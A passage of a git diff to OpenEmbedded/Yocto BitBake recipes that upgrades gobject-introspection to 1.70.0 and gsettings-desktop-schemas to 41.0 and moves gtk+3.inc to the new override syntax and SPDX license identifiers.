- AC_SUBST(INTROSPECTION_COMPILER)
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.62.0.bb b/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.62.0.bb
deleted file mode 100644
index a9739cc552..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.62.0.bb
+++ /dev/null
@@ -1,208 +0,0 @@
-SUMMARY = "Middleware layer between GObject-using C libraries and language bindings"
-DESCRIPTION = "GObject Introspection is a project for providing machine \
-readable introspection data of the API of C libraries. This introspection \
-data can be used in several different use cases, for example automatic code \
-generation for bindings, API verification and documentation generation."
-HOMEPAGE = "https://wiki.gnome.org/action/show/Projects/GObjectIntrospection"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gobject-introspection/issues"
-SECTION = "libs"
-LICENSE = "LGPLv2+ & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c434e8128a68bedd59b80b2ac1eb1c4a \
- file://tools/compiler.c;endline=20;md5=fc5007fc20022720e6c0b0cdde41fabd \
- file://giscanner/sourcescanner.c;endline=22;md5=194d6e0c1d00662f32d030ce44de8d39 \
- file://girepository/giregisteredtypeinfo.c;endline=21;md5=661847611ae6979465415f31a759ba27 \
- "
-
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${@oe.utils.trim_version("${PV}", 2)}/${BPN}-${PV}.tar.xz \
- file://0003-giscanner-add-use-binary-wrapper-option.patch \
- file://0004-giscanner-add-a-use-ldd-wrapper-option.patch \
- file://0005-Prefix-pkg-config-paths-with-PKG_CONFIG_SYSROOT_DIR-.patch \
- file://0001-giscanner-add-a-lib-dirs-envvar-option.patch \
- file://0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch \
- file://0001-Port-cross-compilation-support-to-meson.patch \
- file://0001-meson.build-disable-tests-when-cross-compiling.patch \
- "
-
-SRC_URI[md5sum] = "37278eab3704e42234b6080b8cf241f1"
-SRC_URI[sha256sum] = "b1ee7ed257fdbc008702bdff0ff3e78a660e7e602efa8f211dc89b9d1e7d90a2"
-
-SRC_URI_append_class-native = " file://0001-Relocate-the-repository-directory-for-native-builds.patch"
-
-inherit meson pkgconfig gtk-doc python3native qemu gobject-introspection-data upstream-version-is-even multilib_script
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/g-ir-annotation-tool ${PN}:${bindir}/g-ir-scanner"
-
-DEPENDS_append = " libffi zlib glib-2.0 python3 flex-native bison-native autoconf-archive"
-
-# target build needs qemu to run temporary introspection binaries created
-# on the fly by g-ir-scanner and a native version of itself to run
-# native versions of its own tools during build.
-# Also prelink-rtld is used to find out library dependencies of introspection binaries
-# (standard ldd doesn't work when cross-compiling).
-DEPENDS_class-target_append = " gobject-introspection-native qemu-native prelink-native"
-
-# needed for writing out the qemu wrapper script
-export STAGING_DIR_HOST
-export B
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG[doctool] = "-Ddoctool=true,-Ddoctool=false,python3-mako,"
-
-# Configure target build to use native tools of itself and to use a qemu wrapper
-# and optionally to generate introspection data
-EXTRA_OEMESON_class-target = " \
- -Denable-host-gi=true \
- -Denable-gi-cross-wrapper=${B}/g-ir-scanner-qemuwrapper \
- -Denable-gi-ldd-wrapper=${B}/g-ir-scanner-lddwrapper \
- -Dpkgconfig-sysroot-path=${PKG_CONFIG_SYSROOT_DIR} \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Denable-introspection-data=true', '-Denable-introspection-data=false', d)} \
- ${@'-Dgir_dir_prefix=${libdir}' if d.getVar('MULTILIBS') else ''} \
-"
-
-# Need to ensure ld.so.conf exists so prelink-native works
-# both before we build and if we install from sstate
-do_configure[prefuncs] += "gobject_introspection_preconfigure"
-python gobject_introspection_preconfigure () {
- oe.utils.write_ld_so_conf(d)
-}
-
-do_configure_prepend_class-native() {
- # Tweak the native python scripts so that they don't refer to the
- # full path of native python binary (the solution is taken from glib-2.0 recipe)
- # This removes the risk of exceeding Linux kernel's shebang line limit (128 bytes)
- sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
-}
-
-do_configure_prepend_class-target() {
- # Write out a qemu wrapper that will be given to gi-scanner so that it
- # can run target helper binaries through that.
- qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['\\$GIR_EXTRA_LIBS_PATH','.libs','$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
- cat > ${B}/g-ir-scanner-qemuwrapper << EOF
-#!/bin/sh
-# Use a modules directory which doesn't exist so we don't load random things
-# which may then get deleted (or their dependencies) and potentially segfault
-export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
-
-$qemu_binary "\$@"
-if [ \$? -ne 0 ]; then
- echo "If the above error message is about missing .so libraries, then setting up GIR_EXTRA_LIBS_PATH in the recipe should help."
- echo "(typically like this: GIR_EXTRA_LIBS_PATH=\"$""{B}/something/.libs\" )"
- exit 1
-fi
-EOF
- chmod +x ${B}/g-ir-scanner-qemuwrapper
-
- # Write out a wrapper for g-ir-scanner itself, which will be used when building introspection files
- # for glib-based packages. This wrapper calls the native version of the scanner, and tells it to use
- # a qemu wrapper for running transient target binaries produced by the scanner, and an include directory
- # from the target sysroot.
- cat > ${B}/g-ir-scanner-wrapper << EOF
-#!/bin/sh
-# This prevents g-ir-scanner from writing cache data to $HOME
-export GI_SCANNER_DISABLE_CACHE=1
-
-g-ir-scanner --lib-dirs-envvar=GIR_EXTRA_LIBS_PATH --use-binary-wrapper=${STAGING_BINDIR}/g-ir-scanner-qemuwrapper --use-ldd-wrapper=${STAGING_BINDIR}/g-ir-scanner-lddwrapper --add-include-path=${STAGING_DATADIR}/gir-1.0 --add-include-path=${STAGING_LIBDIR}/gir-1.0 "\$@"
-EOF
- chmod +x ${B}/g-ir-scanner-wrapper
-
- # Write out a wrapper for g-ir-compiler, which runs the target version of it through qemu.
- # g-ir-compiler writes out the raw content of a C struct to disk, and therefore is architecture dependent.
- cat > ${B}/g-ir-compiler-wrapper << EOF
-#!/bin/sh
-${STAGING_BINDIR}/g-ir-scanner-qemuwrapper ${STAGING_BINDIR}/g-ir-compiler "\$@"
-EOF
- chmod +x ${B}/g-ir-compiler-wrapper
-
- # Write out a wrapper to use instead of ldd, which does not work when a binary is built
- # for a different architecture
- cat > ${B}/g-ir-scanner-lddwrapper << EOF
-#!/bin/sh
-prelink-rtld --root=$STAGING_DIR_HOST "\$@"
-EOF
- chmod +x ${B}/g-ir-scanner-lddwrapper
-
- # Also tweak the target python scripts so that they don't refer to the
- # native version of python binary (the solution is taken from glib-2.0 recipe)
- sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
-}
-
-do_compile_prepend() {
- # This prevents g-ir-scanner from writing cache data to $HOME
- export GI_SCANNER_DISABLE_CACHE=1
-
- # Needed to run g-ir unit tests, which won't be able to find the built libraries otherwise
- export GIR_EXTRA_LIBS_PATH=$B/.libs
-}
-
-# Our wrappers need to be available system-wide, because they will be used
-# to build introspection files for all other gobject-based packages
-do_install_append_class-target() {
- install -d ${D}${bindir}/
- install ${B}/g-ir-scanner-qemuwrapper ${D}${bindir}/
- install ${B}/g-ir-scanner-wrapper ${D}${bindir}/
- install ${B}/g-ir-compiler-wrapper ${D}${bindir}/
- install ${B}/g-ir-scanner-lddwrapper ${D}${bindir}/
-}
-
-# we need target versions of introspection tools in sysroot so that they can be run via qemu
-# when building introspection files in other packages
-SYSROOT_DIRS_append_class-target = " ${bindir}"
-
-SYSROOT_PREPROCESS_FUNCS_append_class-target = " gi_binaries_sysroot_preprocess"
-gi_binaries_sysroot_preprocess() {
- # Tweak the binary names in the introspection pkgconfig file, so that it
- # picks up our wrappers which do the cross-compile and qemu magic.
- sed -i \
- -e "s|g_ir_scanner=.*|g_ir_scanner=${bindir}/g-ir-scanner-wrapper|" \
- -e "s|g_ir_compiler=.*|g_ir_compiler=${bindir}/g-ir-compiler-wrapper|" \
- ${SYSROOT_DESTDIR}${libdir}/pkgconfig/gobject-introspection-1.0.pc
-}
-
-SYSROOT_PREPROCESS_FUNCS_append = " gi_ldsoconf_sysroot_preprocess"
-gi_ldsoconf_sysroot_preprocess () {
- mkdir -p ${SYSROOT_DESTDIR}${bindir}
- dest=${SYSROOT_DESTDIR}${bindir}/postinst-ldsoconf-${PN}
- echo "#!/bin/sh" > $dest
- echo "mkdir -p ${STAGING_DIR_TARGET}${sysconfdir}" >> $dest
- echo "echo ${base_libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
- echo "echo ${libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
- chmod 755 $dest
-}
-
-# Remove wrapper files from the package, only used for cross-compiling
-PACKAGE_PREPROCESS_FUNCS += "gi_package_preprocess"
-gi_package_preprocess() {
- rm -f ${PKGD}${bindir}/g-ir-scanner-qemuwrapper
- rm -f ${PKGD}${bindir}/g-ir-scanner-wrapper
- rm -f ${PKGD}${bindir}/g-ir-compiler-wrapper
- rm -f ${PKGD}${bindir}/g-ir-scanner-lddwrapper
-}
-
-SSTATE_SCAN_FILES += "g-ir-scanner-qemuwrapper g-ir-scanner-wrapper g-ir-compiler-wrapper g-ir-scanner-lddwrapper Gio-2.0.gir postinst-ldsoconf-${PN}"
-
-# .typelib files are needed at runtime and so they go to the main package
-FILES_${PN}_append = " ${libdir}/girepository-*/*.typelib"
-
-# .gir files go to dev package, as they're needed for developing (but not for running)
-# things that depends on introspection.
-FILES_${PN}-dev_append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
-FILES_${PN}-dev_append = " ${datadir}/gir-*/*.rnc"
-
-# These are used by gobject-based packages
-# to generate transient introspection binaries
-FILES_${PN}-dev_append = " ${datadir}/gobject-introspection-1.0/gdump.c \
- ${datadir}/gobject-introspection-1.0/Makefile.introspection"
-
-# These are used by dependent packages (e.g. pygobject) to build their
-# testsuites.
-FILES_${PN}-dev_append = " ${datadir}/gobject-introspection-1.0/tests/*.c \
- ${datadir}/gobject-introspection-1.0/tests/*.h"
-
-FILES_${PN}-dbg += "${libdir}/gobject-introspection/giscanner/.debug/"
-FILES_${PN}-staticdev += "${libdir}/gobject-introspection/giscanner/*.a"
-
-RDEPENDS_${PN} = "python3-pickle python3-xml"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.70.0.bb b/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.70.0.bb
new file mode 100644
index 0000000000..fcda10bd33
--- /dev/null
+++ b/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.70.0.bb
@@ -0,0 +1,197 @@
+SUMMARY = "Middleware layer between GObject-using C libraries and language bindings"
+DESCRIPTION = "GObject Introspection is a project for providing machine \
+readable introspection data of the API of C libraries. This introspection \
+data can be used in several different use cases, for example automatic code \
+generation for bindings, API verification and documentation generation."
+HOMEPAGE = "https://wiki.gnome.org/action/show/Projects/GObjectIntrospection"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gobject-introspection/issues"
+SECTION = "libs"
+LICENSE = "LGPL-2.0-or-later & GPL-2.0-or-later & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c434e8128a68bedd59b80b2ac1eb1c4a \
+ file://tools/compiler.c;endline=20;md5=fc5007fc20022720e6c0b0cdde41fabd \
+ file://giscanner/sourcescanner.c;endline=22;md5=194d6e0c1d00662f32d030ce44de8d39 \
+ file://girepository/giregisteredtypeinfo.c;endline=21;md5=661847611ae6979465415f31a759ba27 \
+ "
+
+SRC_URI = "${GNOME_MIRROR}/${BPN}/${@oe.utils.trim_version("${PV}", 2)}/${BPN}-${PV}.tar.xz \
+ file://0001-build-Avoid-the-doctemplates-hack.patch \
+ "
+
+SRC_URI[sha256sum] = "902b4906e3102d17aa2fcb6dad1c19971c70f2a82a159ddc4a94df73a3cafc4a"
+
+SRC_URI:append:class-native = " file://0001-Relocate-the-repository-directory-for-native-builds.patch"
+
+inherit meson pkgconfig gtk-doc python3native qemu gobject-introspection-data upstream-version-is-even multilib_script
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/g-ir-annotation-tool ${PN}:${bindir}/g-ir-scanner"
+
+DEPENDS += " libffi zlib glib-2.0 python3 flex-native bison-native autoconf-archive"
+
+# target build needs qemu to run temporary introspection binaries created
+# on the fly by g-ir-scanner and a native version of itself to run
+# native versions of its own tools during build.
+DEPENDS:append:class-target = " gobject-introspection-native qemu-native"
+
+# needed for writing out the qemu wrapper script
+export STAGING_DIR_HOST
+export B
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[doctool] = "-Ddoctool=enabled,-Ddoctool=disabled,python3-mako,"
+
+# Configure target build to use native tools of itself and to use a qemu wrapper
+# and optionally to generate introspection data
+EXTRA_OEMESON:class-target = " \
+ -Dgi_cross_use_prebuilt_gi=true \
+ -Dgi_cross_binary_wrapper=${B}/g-ir-scanner-qemuwrapper \
+ -Dgi_cross_ldd_wrapper=${B}/g-ir-scanner-lddwrapper \
+ -Dgi_cross_pkgconfig_sysroot_path=${PKG_CONFIG_SYSROOT_DIR} \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Dbuild_introspection_data=true', '-Dbuild_introspection_data=false', d)} \
+ ${@'-Dgir_dir_prefix=${libdir}' if d.getVar('MULTILIBS') else ''} \
+"
+
+do_configure:prepend:class-native() {
+ # Tweak the native python scripts so that they don't refer to the
+ # full path of native python binary (the solution is taken from glib-2.0 recipe)
+ # This removes the risk of exceeding Linux kernel's shebang line limit (128 bytes)
+ sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
+}
+
+do_configure:prepend:class-target() {
+ # Write out a qemu wrapper that will be given to gi-scanner so that it
+ # can run target helper binaries through that.
+ qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['\\$GIR_EXTRA_LIBS_PATH','.libs','$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
+ cat > ${B}/g-ir-scanner-qemuwrapper << EOF
+#!/bin/sh
+# Use a modules directory which doesn't exist so we don't load random things
+# which may then get deleted (or their dependencies) and potentially segfault
+export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
+
+$qemu_binary "\$@"
+if [ \$? -ne 0 ]; then
+ echo "If the above error message is about missing .so libraries, then setting up GIR_EXTRA_LIBS_PATH in the recipe should help."
+ echo "(typically like this: GIR_EXTRA_LIBS_PATH=\"$""{B}/something/.libs\" )"
+ exit 1
+fi
+EOF
+ chmod +x ${B}/g-ir-scanner-qemuwrapper
+
+ # Write out a wrapper for g-ir-scanner itself, which will be used when building introspection files
+ # for glib-based packages. This wrapper calls the native version of the scanner, and tells it to use
+ # a qemu wrapper for running transient target binaries produced by the scanner, and an include directory
+ # from the target sysroot.
+ cat > ${B}/g-ir-scanner-wrapper << EOF
+#!/bin/sh
+# This prevents g-ir-scanner from writing cache data to user's HOME dir
+export GI_SCANNER_DISABLE_CACHE=1
+
+g-ir-scanner --lib-dirs-envvar=GIR_EXTRA_LIBS_PATH --use-binary-wrapper=${STAGING_BINDIR}/g-ir-scanner-qemuwrapper --use-ldd-wrapper=${STAGING_BINDIR}/g-ir-scanner-lddwrapper --add-include-path=${STAGING_DATADIR}/gir-1.0 --add-include-path=${STAGING_LIBDIR}/gir-1.0 "\$@"
+EOF
+ chmod +x ${B}/g-ir-scanner-wrapper
+
+ # Write out a wrapper for g-ir-compiler, which runs the target version of it through qemu.
+ # g-ir-compiler writes out the raw content of a C struct to disk, and therefore is architecture dependent.
+ cat > ${B}/g-ir-compiler-wrapper << EOF
+#!/bin/sh
+${STAGING_BINDIR}/g-ir-scanner-qemuwrapper ${STAGING_BINDIR}/g-ir-compiler "\$@"
+EOF
+ chmod +x ${B}/g-ir-compiler-wrapper
+
+ # Write out a wrapper to use instead of ldd, which does not work when a binary is built
+ # for a different architecture
+ cat > ${B}/g-ir-scanner-lddwrapper << EOF
+#!/bin/sh
+$OBJDUMP -p "\$@"
+EOF
+ chmod +x ${B}/g-ir-scanner-lddwrapper
+
+ # Also tweak the target python scripts so that they don't refer to the
+ # native version of python binary (the solution is taken from glib-2.0 recipe)
+ sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
+}
+
+do_compile:prepend() {
+ # This prevents g-ir-scanner from writing cache data to $HOME
+ export GI_SCANNER_DISABLE_CACHE=1
+
+ # Needed to run g-ir unit tests, which won't be able to find the built libraries otherwise
+ export GIR_EXTRA_LIBS_PATH=$B/.libs
+}
+
+do_install:prepend() {
+ # This prevents g-ir-scanner from writing cache data to $HOME
+ export GI_SCANNER_DISABLE_CACHE=1
+}
+
+# Our wrappers need to be available system-wide, because they will be used
+# to build introspection files for all other gobject-based packages
+do_install:append:class-target() {
+ install -d ${D}${bindir}/
+ install ${B}/g-ir-scanner-qemuwrapper ${D}${bindir}/
+ install ${B}/g-ir-scanner-wrapper ${D}${bindir}/
+ install ${B}/g-ir-compiler-wrapper ${D}${bindir}/
+ install ${B}/g-ir-scanner-lddwrapper ${D}${bindir}/
+}
+
+# we need target versions of introspection tools in sysroot so that they can be run via qemu
+# when building introspection files in other packages
+SYSROOT_DIRS:append:class-target = " ${bindir}"
+
+SYSROOT_PREPROCESS_FUNCS:append:class-target = " gi_binaries_sysroot_preprocess"
+gi_binaries_sysroot_preprocess() {
+ # Tweak the binary names in the introspection pkgconfig file, so that it
+ # picks up our wrappers which do the cross-compile and qemu magic.
+ sed -i \
+ -e "s|g_ir_scanner=.*|g_ir_scanner=${bindir}/g-ir-scanner-wrapper|" \
+ -e "s|g_ir_compiler=.*|g_ir_compiler=${bindir}/g-ir-compiler-wrapper|" \
+ ${SYSROOT_DESTDIR}${libdir}/pkgconfig/gobject-introspection-1.0.pc
+}
+
+SYSROOT_PREPROCESS_FUNCS:append = " gi_ldsoconf_sysroot_preprocess"
+gi_ldsoconf_sysroot_preprocess () {
+ mkdir -p ${SYSROOT_DESTDIR}${bindir}
+ dest=${SYSROOT_DESTDIR}${bindir}/postinst-ldsoconf-${PN}
+ echo "#!/bin/sh" > $dest
+ echo "mkdir -p ${STAGING_DIR_TARGET}${sysconfdir}" >> $dest
+ echo "echo ${base_libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
+ echo "echo ${libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
+ chmod 755 $dest
+}
+
+# Remove wrapper files from the package, only used for cross-compiling
+PACKAGE_PREPROCESS_FUNCS += "gi_package_preprocess"
+gi_package_preprocess() {
+ rm -f ${PKGD}${bindir}/g-ir-scanner-qemuwrapper
+ rm -f ${PKGD}${bindir}/g-ir-scanner-wrapper
+ rm -f ${PKGD}${bindir}/g-ir-compiler-wrapper
+ rm -f ${PKGD}${bindir}/g-ir-scanner-lddwrapper
+}
+
+SSTATE_SCAN_FILES += "g-ir-scanner-qemuwrapper g-ir-scanner-wrapper g-ir-compiler-wrapper g-ir-scanner-lddwrapper Gio-2.0.gir postinst-ldsoconf-${PN}"
+
+# .typelib files are needed at runtime and so they go to the main package
+FILES:${PN}:append = " ${libdir}/girepository-*/*.typelib"
+
+# .gir files go to dev package, as they're needed for developing (but not for running)
+# things that depends on introspection.
+FILES:${PN}-dev:append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
+FILES:${PN}-dev:append = " ${datadir}/gir-*/*.rnc"
+
+# These are used by gobject-based packages
+# to generate transient introspection binaries
+FILES:${PN}-dev:append = " ${datadir}/gobject-introspection-1.0/gdump.c \
+ ${datadir}/gobject-introspection-1.0/Makefile.introspection"
+
+# These are used by dependent packages (e.g. pygobject) to build their
+# testsuites.
+FILES:${PN}-dev:append = " ${datadir}/gobject-introspection-1.0/tests/*.c \
+ ${datadir}/gobject-introspection-1.0/tests/*.h"
+
+FILES:${PN}-dbg += "${libdir}/gobject-introspection/giscanner/.debug/"
+FILES:${PN}-staticdev += "${libdir}/gobject-introspection/giscanner/*.a"
+
+RDEPENDS:${PN} = "python3-pickle python3-xml"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas/0001-Do-not-skip-gir-installation-for-cross-compiling.patch b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas/0001-Do-not-skip-gir-installation-for-cross-compiling.patch
deleted file mode 100644
index c481b18f1c..0000000000
--- a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas/0001-Do-not-skip-gir-installation-for-cross-compiling.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 42e58c4c3e95a4a78ee8294f9b3901726bbbabe4 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@gmail.com>
-Date: Sat, 11 May 2019 00:21:11 +0200
-Subject: [PATCH] Do not skip gir installation for cross compiling
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-We are cool and can handle cross gobject-introspection.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
----
- headers/meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/headers/meson.build b/headers/meson.build
-index 3ce8b61..1132695 100644
---- a/headers/meson.build
-+++ b/headers/meson.build
-@@ -19,7 +19,7 @@ enums_xml = custom_target(
- install: true,
- install_dir: schemasdir)
-
--if not meson.is_cross_build() and get_option('introspection')
-+if get_option('introspection')
- noinst_lib = shared_library('noinst',
- headers,
- install: false)
---
-2.20.1
-
diff --git a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.34.0.bb b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.34.0.bb
deleted file mode 100644
index eea578bb6b..0000000000
--- a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.34.0.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "GNOME desktop-wide GSettings schemas"
-DESCRIPTION = "GSettings desktop-wide schemas contains a collection of \
-GSettings schemas for settings shared by various components of a desktop."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-DEPENDS = "glib-2.0"
-
-GNOMEBASEBUILDCLASS = "meson"
-
-inherit gnomebase gsettings gobject-introspection gettext upstream-version-is-even
-
-SRC_URI[archive.md5sum] = "9759ef53fb2e53fc8d19190e58f2c332"
-SRC_URI[archive.sha256sum] = "288b04260f7040b0e004a8d59c773cfb4e32df4f1b4a0f9d705c51afccc95ead"
-SRC_URI += "file://0001-Do-not-skip-gir-installation-for-cross-compiling.patch"
diff --git a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_41.0.bb b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_41.0.bb
new file mode 100644
index 0000000000..280e3c8b50
--- /dev/null
+++ b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_41.0.bb
@@ -0,0 +1,16 @@
+SUMMARY = "GNOME desktop-wide GSettings schemas"
+DESCRIPTION = "GSettings desktop-wide schemas contains a collection of \
+GSettings schemas for settings shared by various components of a desktop."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas/issues"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "glib-2.0"
+
+GNOMEBASEBUILDCLASS = "meson"
+
+inherit gnomebase gsettings gobject-introspection gettext
+
+SRC_URI[archive.sha256sum] = "77289972e596d044583f0c056306d8f1dbd8adcf912910a50da0a663e65332ed"
diff --git a/meta/recipes-gnome/gtk+/gtk+3.inc b/meta/recipes-gnome/gtk+/gtk+3.inc
index dc6768c4e8..7d50d7bd2e 100644
--- a/meta/recipes-gnome/gtk+/gtk+3.inc
+++ b/meta/recipes-gnome/gtk+/gtk+3.inc
@@ -1,3 +1,4 @@
+
SUMMARY = "Multi-platform toolkit for creating GUIs"
DESCRIPTION = "GTK+ is a multi-platform toolkit for creating graphical user interfaces. Offering a complete \
set of widgets, GTK+ is suitable for projects ranging from small one-off projects to complete application suites."
@@ -8,13 +9,13 @@ SECTION = "libs"
DEPENDS = "glib-2.0 cairo pango atk jpeg libpng gdk-pixbuf \
gdk-pixbuf-native"
-LICENSE = "LGPLv2 & LGPLv2+ & LGPLv2.1+"
+LICENSE = "LGPL-2.0-only & LGPL-2.0-or-later & LGPL-2.1-or-later"
-inherit autotools gettext pkgconfig gtk-doc update-alternatives gtk-immodules-cache gsettings distro_features_check gobject-introspection
+inherit autotools gettext pkgconfig gtk-doc update-alternatives gtk-immodules-cache gsettings features_check gobject-introspection
BBCLASSEXTEND = "native nativesdk"
-GSETTINGS_PACKAGE_class-native = ""
+GSETTINGS_PACKAGE:class-native = ""
# versions >= 3.90 are development versions, otherwise like upstream-version-is-even
UPSTREAM_CHECK_REGEX = "[^\d\.](?P<pver>3\.([1-8]?[02468])+(\.\d+)+)\.tar"
@@ -25,35 +26,39 @@ ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
# it here avoids rebuilding everything.
export PKG_CONFIG_FOR_BUILD = "${STAGING_BINDIR_NATIVE}/pkg-config-native"
-do_configure_prepend() {
- # Do this because the configure script is running ./libtool directly
- rm -f libtool
- ln -s ${TARGET_PREFIX}libtool libtool
+do_configure:prepend() {
#delete a file that will get confused with generated one in ${B}
rm -f ${S}/gtk/gtktypefuncs.c
+
+ # These files are generated by wayland-scanner but will race over modification
+ # time between the copies in the sysroot from wayland-protocols and the copy
+ # in the source tree. Solve the race by deleting so they need to be regenerated.
+ # 3.24.22 will not be shipping these files so this can be deleted then:
+ # https://gitlab.gnome.org/GNOME/gtk/-/merge_requests/2183
+ rm -f ${S}/modules/input/text-input-unstable-v3*.[ch]
}
EXTRA_OECONF += " \
--disable-glibtest \
--disable-xinerama \
--enable-modules \
- --disable-colord \
${@bb.utils.contains("DISTRO_FEATURES", "x11", "", "--disable-gtk-doc", d)} \
"
-do_compile_prepend() {
+do_compile:prepend() {
export GIR_EXTRA_LIBS_PATH="${B}/gdk/.libs"
}
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl wayland x11', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl x11', 'glx', '', d)}"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl wayland x11', d)}"
+PACKAGECONFIG:class-native = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
+PACKAGECONFIG:class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
PACKAGECONFIG[x11] = "--enable-x11-backend,--disable-x11-backend,at-spi2-atk fontconfig libx11 libxext libxcursor libxi libxdamage libxrandr libxrender libxcomposite libxfixes"
# this is provided by oe-core patch that removes epoxy/gl dependency from a X11 build
PACKAGECONFIG[opengl] = "--enable-opengl,--disable-opengl,libepoxy"
-PACKAGECONFIG[glx] = "--enable-glx,--disable-glx,,libgl"
PACKAGECONFIG[wayland] = "--enable-wayland-backend,--disable-wayland-backend,wayland wayland-protocols libxkbcommon virtual/egl virtual/libgles2 wayland-native"
PACKAGECONFIG[cups] = "--enable-cups,--disable-cups,cups"
+PACKAGECONFIG[colord] = "--enable-colord,--disable-colord,colord"
prepare_gtk_scripts() {
mv ${D}${bindir}/gtk-update-icon-cache ${D}${bindir}/gtk-update-icon-cache-3.0
@@ -63,15 +68,15 @@ prepare_gtk_scripts() {
ln ${D}${bindir}/gtk-query-immodules-3.0 ${D}${libexecdir}/${MLPREFIX}gtk-query-immodules-3.0
}
-do_install_append_class-target() {
+do_install:append:class-target() {
prepare_gtk_scripts
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
prepare_gtk_scripts
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}/${bindir}/gtk-update-icon-cache \
GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/2.10.0/loaders.cache
create_wrapper ${D}/${bindir}/gtk-encode-symbolic-svg \
@@ -82,7 +87,7 @@ PROVIDES += "gtk-icon-utils"
PACKAGES =+ "${PN}-demo"
LIBV = "3.0.0"
-FILES_${PN}-demo = "${bindir}/gtk3-demo \
+FILES:${PN}-demo = "${bindir}/gtk3-demo \
${bindir}/gtk3-demo-application \
${bindir}/gtk3-icon-browser \
${bindir}/gtk3-widget-factory \
@@ -93,16 +98,17 @@ FILES_${PN}-demo = "${bindir}/gtk3-demo \
${datadir}/icons/hicolor/*/apps/gtk3-demo*.png \
${datadir}/icons/hicolor/*/apps/gtk3-widget-factory*.png"
-FILES_${PN}_append = " ${bindir}/gtk-update-icon-cache-3.0 \
+FILES:${PN}:append = " ${bindir}/gtk-update-icon-cache-3.0 \
${bindir}/gtk-query-immodules-3.0 \
${bindir}/gtk-launch \
